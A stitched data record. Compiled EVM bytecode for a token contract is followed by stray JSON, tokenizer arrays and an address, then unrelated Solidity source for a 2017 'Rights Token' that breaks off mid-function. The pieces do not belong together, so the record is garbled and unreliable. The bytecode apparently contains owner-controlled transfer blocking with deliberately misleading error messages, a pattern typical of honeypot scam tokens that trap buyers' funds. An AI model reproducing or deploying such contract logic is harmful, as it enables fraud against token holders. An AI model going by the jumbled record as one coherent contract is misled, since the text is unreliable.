0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2cf079d336edcda3a28242633a1c0c8810adf742dfd60025c951f1a014018a564736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 23777, 2094, 2683, 2581, 22394, 28311, 2497, 2575, 2278, 2546, 2549, 2278, 2683, 28154, 2683, 28311, 2497, 3207, 22022, 2575, 2581, 11057, 2549, 2546, 2683, 2497, 16048, 21619, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,743
0x9744521e2e6a0d25f1f805318576230c5c8fc8a0
// Unattributed material copyright New Alchemy Limited, 2017. All rights reserved. pragma solidity >=0.4.10; // from Zeppelin contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } // end from Zeppelin contract Owned { address public owner; address newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } } contract Pausable is Owned { bool public paused; function pause() onlyOwner { paused = true; } function unpause() onlyOwner { paused = false; } modifier notPaused() { require(!paused); _; } } contract Finalizable is Owned { bool public finalized; function finalize() onlyOwner { finalized = true; } modifier notFinalized() { require(!finalized); _; } } contract IToken { function transfer(address _to, uint _value) returns (bool); function balanceOf(address owner) returns(uint); } contract TokenReceivable is Owned { function claimTokens(address _token, address _to) onlyOwner returns (bool) { IToken token = IToken(_token); return token.transfer(_to, token.balanceOf(this)); } } contract EventDefinitions { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable { string constant public name = "Rights Token"; uint8 constant public decimals = 8; string constant public symbol = "RTK"; Controller public controller; string public motd; event Motd(string message); // functions below this line are onlyOwner function setMotd(string _m) onlyOwner { motd = _m; Motd(_m); } function setController(address _c) onlyOwner notFinalized { controller = Controller(_c); } // functions below this line are public function balanceOf(address a) constant returns (uint) { return controller.balanceOf(a); } function totalSupply() constant returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) constant returns (uint) { return controller.allowance(_owner, _spender); } function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { // promote safe user behavior if (controller.approve(msg.sender, _spender, _value)) { Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } function burn(uint _amount) notPaused { controller.burn(msg.sender, _amount); Transfer(msg.sender, 0x0, _amount); } // functions below this line are onlyController modifier onlyController() { assert(msg.sender == address(controller)); _; } function controllerTransfer(address _from, address _to, uint _value) onlyController { Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) onlyController { Approval(_owner, _spender, _value); } } contract Controller is Owned, Finalizable { Ledger public ledger; Token public token; function Controller() { } // functions below this line are onlyOwner function setToken(address _token) onlyOwner { token = Token(_token); } function setLedger(address _ledger) onlyOwner { ledger = Ledger(_ledger); } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } // public functions function totalSupply() constant returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) constant returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) constant returns (uint) { return ledger.allowance(_owner, _spender); } // functions below this line are onlyLedger function ledgerTransfer(address from, address to, uint val) onlyLedger { token.controllerTransfer(from, to, val); } // functions below this line are onlyToken function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transfer(_from, _to, _value); } function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transferFrom(_spender, _from, _to, _value); } function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } function burn(address _owner, uint _amount) onlyToken { ledger.burn(_owner, _amount); } } contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; // functions below this line are onlyOwner function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } function stopMinting() onlyOwner { mintingStopped = true; } function multiMint(uint nonce, uint256[] bits) external onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } // functions below this line are onlyController modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { // require user to set to zero before resetting to nonzero if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { 